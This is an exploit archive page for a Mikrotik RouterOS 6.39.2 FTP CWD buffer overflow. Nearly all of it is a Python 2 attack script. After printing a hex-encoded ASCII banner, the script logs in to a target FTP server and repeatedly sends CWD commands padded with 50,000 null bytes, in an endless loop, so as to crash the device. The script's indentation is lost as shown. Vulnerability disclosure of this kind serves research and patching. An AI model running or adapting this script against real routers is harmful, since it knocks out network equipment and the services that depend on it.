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Mikrotik RouterOS 6.39.2 FTP CWD Buffer Overflow

Mikrotik RouterOS 6.39.2 FTP CWD Buffer Overflow
Posted Jun 16, 2017
Authored by sultan albalawi

Mikrotik RouterOS version 6.39.2 suffers from a FTP CWD command buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | a924ceacde68a55f9ad645ab470c04cb0e869ec8522c44c9e1b6c8e517add61e

Mikrotik RouterOS 6.39.2 FTP CWD Buffer Overflow

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import time,sys
import socket
from ftplib import FTP
# mikrotik RouterOS v6.39.2 FTp buffer cwd command
# sultan albalawi
if len(sys.argv) < 4:
print 'ie: python ' + sys.argv[0] + ' <host> <port> <username> <passowrd>"'
print 'Example: 192.168.1.1 21 admin admin'
sys.exit(1)

def myB():
print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \
"\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \
"\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \
"\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \
"\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \
"\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \
"\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \
"\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
"\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \
"\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \
"\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \
"\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \
"\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \
"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \
"\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \
"\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \
"\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \
"\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
"\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \
"\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \
"\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \
"\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \
"\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \
"\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \
"\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \
"\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \
"\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \
"\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \
"\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \
"\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \
"\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \
"\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \
"\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \
"\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \
"\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \
"\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \
"\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \
"\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \
"\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \
"\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \
"\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \
"\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \
"\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \
"\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \
"\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
"\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \
"\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \
"\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \
"\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\
"\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \

myB()
host=sys.argv[1]
port=int(sys.argv[2])
u = sys.argv[3]
p = sys.argv[4]
try:
pause=3
command=["GET ",
"ABOR ",
"ACCT ",
"ALLO ",
"ABOR ",
"APPE ",
"CDUP ",
"CWD ",
"DELE ",
"HELP ",
"LIST ",
"MDTM ",
"MKD ",
"MODE ",
"NLST ",
"NOOP ",
"PASS ",
"PASV ",
"PORT ",
"PWD ",
"QUIT ",
"REIN ",
"REST ",
"RETR ",
"RMD ",
"RNFR ",
"RNTO ",
"SITE ",
"SIZE ",
"STAT ",
"STOR ",
"STOU ",
"STRU ",
"SYST ",
"TYPE ",
"USER ",
"XCWD ",
"XPWD ",
"XCUP ",
"CDUP ",
"XMKD ",
"XRMD ",
"STOU ",]
print len(command)
m=5000
for i, val in enumerate(command):
for dd in range(m):
evil = "\0"*50000
evilTYPE= (command[7]+evil)
print i, command[7],
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()
while True:
ftp = FTP()
ftp.connect(host,port)
ftp.login(u,p)
for i, val in enumerate(command):
ftp.sendcmd(evilTYPE)
ftp.sendcmd(evilTYPE)
print ftp.sendcmd(evilTYPE)
ftp.close()
time.sleep(pause)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
open = sock.connect_ex((host,port))
sock.close()
except Exception, msg:
print msg,"host"
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